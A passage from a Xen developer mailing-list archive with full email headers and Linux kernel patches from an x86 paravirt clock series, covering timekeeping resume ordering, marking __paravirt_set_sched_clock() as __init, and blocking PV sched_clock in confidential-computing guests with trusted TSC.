	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-16d1c6/1782934400-F9B9068D-CC4BD5CC/13/0
X-purgate-type: clean
X-purgate-size: 1671

When resuming timekeeping after suspend, restore clocksources prior to
reading the persistent clock.  Paravirt clocks, e.g. kvmclock, tie the
validity of a PV persistent clock to a clocksource, i.e. reading the PV
persistent clock will return garbage if the underlying PV clocksource
hasn't been enabled.  The flaw has gone unnoticed because kvmclock is a
mess and uses its own suspend/resume hooks instead of the clocksource
suspend/resume hooks, which happens to work by sheer dumb luck (the
kvmclock resume hook runs before timekeeping_resume()).

Note, there is no evidence that any clocksource supported by the kernel
depends on a persistent clock.

Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 kernel/time/timekeeping.c | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/kernel/time/timekeeping.c b/kernel/time/timekeeping.c
index b1b5ec43c0f2..5bc77d36c7a3 100644
--- a/kernel/time/timekeeping.c
+++ b/kernel/time/timekeeping.c
@@ -2180,11 +2180,16 @@ void timekeeping_resume(void)
 	u64 cycle_now, nsec;
 	unsigned long flags;
 
-	read_persistent_clock64(&ts_new);
-
 	clockevents_resume();
 	clocksource_resume();
 
+	/*
+	 * Read persistent time after clocksources have been resumed.  Paravirt
+	 * clocks have a nasty habit of piggybacking a persistent clock on a
+	 * system clock, and may return garbage if the system clock is suspended.
+	 */
+	read_persistent_clock64(&ts_new);
+
 	raw_spin_lock_irqsave(&tk_core.lock, flags);
 
 	/*
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:34:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:34:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350588.1608114 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hW-0005O6-0q; Wed, 01 Jul 2026 19:34:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350588.1608114; Wed, 01 Jul 2026 19:34:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hV-0005Ns-Ts; Wed, 01 Jul 2026 19:34:25 +0000
Received: by outflank-mailman (input) for mailman id 1350588;
 Wed, 01 Jul 2026 19:34:24 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3gWtFagYKCcY4qmzvos00sxq.o0y9qz-pq7qxxu454.9qz130vqo5.03s@flex--seanjc.bounces.google.com>)
 id 1wf0hU-0005JX-Kx
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:34:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0hU-00BwNp-1w
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:34:24 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3gWtFagYKCcY4qmzvos00sxq.o0y9qz-pq7qxxu454.9qz130vqo5.03s@flex--seanjc.bounces.google.com>)
 id 6a456bbb-5cb7-0a2a0a5109dd-0a2a4501a4e0-4
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:34:24 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3gWtFagYKCcY4qmzvos00sxq.o0y9qz-pq7qxxu454.9qz130vqo5.03s@flex--seanjc.bounces.google.com>)
 id 6a456b82-400f-0a2a45010019-d155d6cad0e4-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:23 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2ca1f16e391so11756865ad.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934402; x=1783539202; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=Z1gCn97n2OaQgcF7BGVq6zaJwKJkpkAfWBIFdTpXq3s=;
        b=pozOzSJLoc5jVrymvIlGZ+a248PS57+TW0DwhxsQ5STxQbqd4tT4FxlPteDgj+UsIp
         1NEffh7bxJXwKUqdnwW0NUfs6Z2Xm1da4GBFEcVDkZGlxAFJxXpBlroYnHK25OdeTX+q
         B/3OwwGsrQ+g4Q92kU0CENdHECh7lxpO6vKfMBwiezeL+dFxtKjgfdBz5caJi2fKACdA
         gCRezNyCyZhTOjwO1JdxHYedzrnlQ5AhBjMthGLk+ogYgsZVRHTFfvy8Mw/o66Kzecqx
         p71JkKEQ85B62Y1pAeX3BOB+p28Plv2gwKGVQjcKuppcOTZB2vNSA55QLlp+F22NIv5u
         Vowg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934402; x=1783539202;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=Z1gCn97n2OaQgcF7BGVq6zaJwKJkpkAfWBIFdTpXq3s=;
        b=fTpfrTH5RSN7Lw0FdZBascD4SAmD4583+ubd2PsnXai/G5iWtpmyAO5y+6f6IIkuZx
         PNy2LAJhMqCUsN242Q2KVZn6NiFOZx7YOdtJpGhk3ZoKFLZRgEQE7lhB4rmZufIpSMQ5
         bRFeR8RquQfJ7XE28UOuvIobSU1eOSXtpu0sbbSgJ9eUZaDOsQfYrHXruNueMnZpMmT2
         hjZqtSAtiySB16teLSOGC5qNeKuG23xomFvp494akbs6/GJew4DRpXT5x3rxrHU19x4d
         QAIBuvUw3g9zg53xlXU2i2XoJUqcesNNRzy1Om5Mb4mjQbEBtCgmjfFBvnljuusolXzg
         Ql1w==
X-Forwarded-Encrypted: i=1; AHgh+Rr8+QKdUHd0H9rL8UY8A51AIL0RGqscgQW3iTb5+tsgY0AL+uidI5fUiWaDIoc4M/PN15NB5sz09Y8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwpDyqqjIuFoayMGI0m13Vi6zEVZQ+pEt8cxfhA9C12o3Fbrwq8
	b0mmGB9uTOhu2cYJ4jxc6N8IQ0EAtIux0kZiKX4IAXI670NGMAU3JeLcuLraMoClPqdZhIOMH2K
	Qiqb5QQ==
X-Received: from plgo7.prod.google.com ([2002:a17:902:d4c7:b0:2c0:b770:dcd7])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:903:1245:b0:2c9:fd62:a709
 with SMTP id d9443c01a7336-2ca7e6838d3mr33515195ad.10.1782934401463; Wed, 01
 Jul 2026 12:33:21 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:32:06 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-46-seanjc@google.com>
Subject: [PATCH v5 45/51] x86/paravirt: Mark __paravirt_set_sched_clock() as __init
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-d62444/1782934403-D26C61E0-E0A81572/13/0
X-purgate-type: clean
X-purgate-size: 2072

Annotate __paravirt_set_sched_clock() as __init, and make its wrapper
__always_inline to ensure sanitizers don't result in a non-inline version
hanging around.  All callers run during __init, and changing sched_clock
after boot would be all kinds of crazy.

No functional change intended.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/include/asm/timer.h | 10 +++++-----
 arch/x86/kernel/tsc.c        |  4 ++--
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/arch/x86/include/asm/timer.h b/arch/x86/include/asm/timer.h
index e97cd1ae03d1..96ae7feac47c 100644
--- a/arch/x86/include/asm/timer.h
+++ b/arch/x86/include/asm/timer.h
@@ -14,12 +14,12 @@ extern int no_timer_check;
 extern bool using_native_sched_clock(void);
 
 #ifdef CONFIG_PARAVIRT
-void __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
-				void (*save)(void), void (*restore)(void));
+void __init __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
+				       void (*save)(void), void (*restore)(void));
 
-static inline void paravirt_set_sched_clock(u64 (*func)(void),
-					    void (*save)(void),
-					    void (*restore)(void))
+static __always_inline void paravirt_set_sched_clock(u64 (*func)(void),
+						     void (*save)(void),
+						     void (*restore)(void))
 {
 	__paravirt_set_sched_clock(func, true, save, restore);
 }
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 83353d643150..0f92b29adecc 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -280,8 +280,8 @@ bool using_native_sched_clock(void)
 	return static_call_query(pv_sched_clock) == native_sched_clock;
 }
 
-void __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
-				void (*save)(void), void (*restore)(void))
+void __init __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
+				       void (*save)(void), void (*restore)(void))
 {
 	if (!stable)
 		clear_sched_clock_stable();
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:34:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:34:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350590.1608123 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hY-0005mf-9e; Wed, 01 Jul 2026 19:34:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350590.1608123; Wed, 01 Jul 2026 19:34:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hY-0005mU-5E; Wed, 01 Jul 2026 19:34:28 +0000
Received: by outflank-mailman (input) for mailman id 1350590;
 Wed, 01 Jul 2026 19:34:26 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3g2tFagYKCcg6so1xqu22uzs.q20Bs1-rs9szzw676.Bs1352xsq7.25u@flex--seanjc.bounces.google.com>)
 id 1wf0hW-0005aj-UO
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:34:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0hW-00BqTu-BP
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:34:26 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3g2tFagYKCcg6so1xqu22uzs.q20Bs1-rs9szzw676.Bs1352xsq7.25u@flex--seanjc.bounces.google.com>)
 id 6a456bb3-bab6-0a2a0a5309dd-0a2a45098636-18
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:34:26 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3g2tFagYKCcg6so1xqu22uzs.q20Bs1-rs9szzw676.Bs1352xsq7.25u@flex--seanjc.bounces.google.com>)
 id 6a456b84-97e6-0a2a45090019-d155d6cacdc6-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:26 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2ca3b3141a6so13440615ad.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:25 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934404; x=1783539204; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=KILxImADtcVlkoacCtqYmxEGcZEGxD9ytdtd9JfAHyU=;
        b=ncRycgCj5OPlbhp+ae2uH2ajcL9c9iwIOIwLxgbN3tnrXCBjsFksgkDjy/gneFlbag
         o2hsOMCxFo38XVzjhixcCVKfoICFrRVH7xcpJ6e8xdMiC6848r0O3W8fBOxIrFjF0bTI
         lnbj9brXTP1UeE1ThWI3nYTjrj0JWMS9NLeVzJHfxw9gC6R531Q9MEtbmmXfjcQ0Sw/9
         Z8TkLabQjzAMg1wLmhlydWWIVuUOW4q6IM+ZpxWk2G+M7nABgRxg1NfImqZxtceS+hMw
         631qfCSHDIpaG7MJm44QvxcfRnaL5VPKB2rHhzWNxFZIQzWktxxFB8iZ5b8s2fZWVOy5
         DM1g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934404; x=1783539204;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=KILxImADtcVlkoacCtqYmxEGcZEGxD9ytdtd9JfAHyU=;
        b=aEwfw/nznqYlzYLTadi5NaF/TioDylMwM0W9zK/N0n1QiA29K5GbJVi8tFBSqQm/16
         Xc0qoTHcs2lCcne8Rel6VX7iLWwVGkvny3ix53tIBIWsSOs1SEIl1kxoRWvtNzadtBBj
         bZkjYrovdKo9LqKxEbHd4I+FYUezdn9l4wa6MP25XEtIITy2OSwsJotK2caauOP89nLP
         2xCO2yKcgaADBn1enLTFkBkb5teQ3+6A9tr7aXlNY9TlVBOPzHPudXl0VRHak3YdL9Cb
         vrOASLWPWiQk6chUzExPanKc8wUENTWRMJ30zJbc5chP6YSX7UsUXLuYAMdk3dX9QXJN
         lW4Q==
X-Forwarded-Encrypted: i=1; AHgh+Rr/UVqL+sLYIdYEsfK4XzMrv5nafd266eaI/tpHs5eg5EdBZaKT+H2BGu8ojLIX1DnNwRwR9TeD/5s=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyomWv/aFH4qOQCW9JSJbRHe3+IOs77zlpYsMCeuxY9aArn07X1
	8EOlOvzO/EBk7Gm+l/rKi8rV9iWvE/IlJP6v0107Xi213DYxqZRvCqwiOMLLQXlH838JalCEdye
	FHePRag==
X-Received: from pltf1.prod.google.com ([2002:a17:902:74c1:b0:2c7:5af7:37a3])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:902:c952:b0:2c9:c169:7483
 with SMTP id d9443c01a7336-2ca7e87dc6bmr34187285ad.37.1782934403691; Wed, 01
 Jul 2026 12:33:23 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:32:08 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-48-seanjc@google.com>
Subject: [PATCH v5 47/51] x86/paravirt: Don't use a PV sched_clock in CoCo
 guests with trusted TSC
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-bad1c0/1782934406-5519A986-4C00B53B/13/0
X-purgate-type: clean
X-purgate-size: 1339

Silently ignore attempts to switch to a paravirt sched_clock when running
as a CoCo guest with trusted TSC.  In hand-wavy theory, a misbehaving
hypervisor could attack the guest by manipulating the PV clock to affect
guest scheduling in some weird and/or predictable way.  More importantly,
reading TSC on such platforms is faster than any PV clock, and sched_clock
is all about speed.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/tsc.c | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 012321fed5e5..a146fc7b5e74 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -283,6 +283,15 @@ bool using_native_sched_clock(void)
 int __init __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
 				      void (*save)(void), void (*restore)(void))
 {
+	/*
+	 * Don't replace TSC with a PV clock when running as a CoCo guest and
+	 * the TSC is secure/trusted; PV clocks are emulated by the hypervisor,
+	 * which isn't in the guest's TCB.
+	 */
+	if (cc_platform_has(CC_ATTR_GUEST_SNP_SECURE_TSC) ||
+	    boot_cpu_has(X86_FEATURE_TDX_GUEST))
+		return -EPERM;
+
 	if (!stable)
 		clear_sched_clock_stable();
 
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:34:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:34:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350602.1608132 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0ha-0006DJ-Q7; Wed, 01 Jul 2026 19:34:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350602.1608132; Wed, 01 Jul 2026 19:34:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0ha-0006Bo-LT; Wed, 01 Jul 2026 19:34:30 +0000
Received: by outflank-mailman (input) for mailman id 1350602;
 Wed, 01 Jul 2026 19:34:29 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3hWtFagYKCco8uq3zsw44w1u.s42Du3-tuBu11y898.Du3574zus9.47w@flex--seanjc.bounces.google.com>)
 id 1wf0hZ-0005zw-1S
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:34:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0hY-00BqTu-EQ
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:34:28 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3hWtFagYKCco8uq3zsw44w1u.s42Du3-tuBu11y898.Du3574zus9.47w@flex--seanjc.bounces.google.com>)
 id 6a456bbe-bab6-0a2a0a5309dd-0a2a45079ec8-2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:34:28 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3hWtFagYKCco8uq3zsw44w1u.s42Du3-tuBu11y898.Du3574zus9.47w@flex--seanjc.bounces.google.com>)
 id 6a456b86-9c8e-0a2a45070019-d155d6cacda5-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:28 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2ca3b3141a6so13441585ad.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934406; x=1783539206; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=TVQraC4E63kxSjnR08hIOoNSz/X8YqL1FfZb6Oo6qbM=;
        b=kbNroxJS4oquznaG/Cm/xwshcv9E29EvJpRNbSNN46mx0UiJIvmsq9HfN61p5wzTt2
         w9WeJ+u7pMFTYtG1RXDS8Uo+f3e5f1ajMKaztSFokOSjYbpLhCSdZcJoomuEv667NhRb
         OIvfeoMWkEP5JaoNs8G6nki6RnKPnpK3bAsUdPYRUC3+siGgbr9RBvTGzldGYL09i9TP
         DWUDPI8LCnLvqnRIfYDIe0EibRbfG3P2OXivBZU4E7+8Ycrp7kfWtJzSndw9VI+Cm0D1
         fuIK2ERG2W2M+3n7RffSx5dNPv/WCKM8Xq10QYY9W7nk1+BWp9xPFveDAvwcFx26vVpx
         8AfA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934406; x=1783539206;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=TVQraC4E63kxSjnR08hIOoNSz/X8YqL1FfZb6Oo6qbM=;
        b=pEeCVBg0lBo1givmMVOV/FSxpI+nnTsQo9oOPjqLTNID1H3hXifpL/6q/OLb2Ej71l
         oBAjPnTtoqASGPhEuctkSbuSfAQZEbMM77Ga9kR/pdP3Xx4q+yZAZAYFbQsD37LcCoFs
         zEAvlMPEfiXzc4yQ9YXVRWySVEXtlULV/dHBh14zp/ToweyOYymnrgN54BkXonaokvC1
         jq1qerF7jQTonkdIsKS7UrDZGgkY6jIOMD0n0muRQacXgDWWms2tEx1+OQZpFBT2hGGm
         CFKoPSz0HBV4VMnVAB3cyt0xeVY1qessgyktQyUE/GS/1PC8P/eehYJGy+anUnQXRPWR
         eqMA==
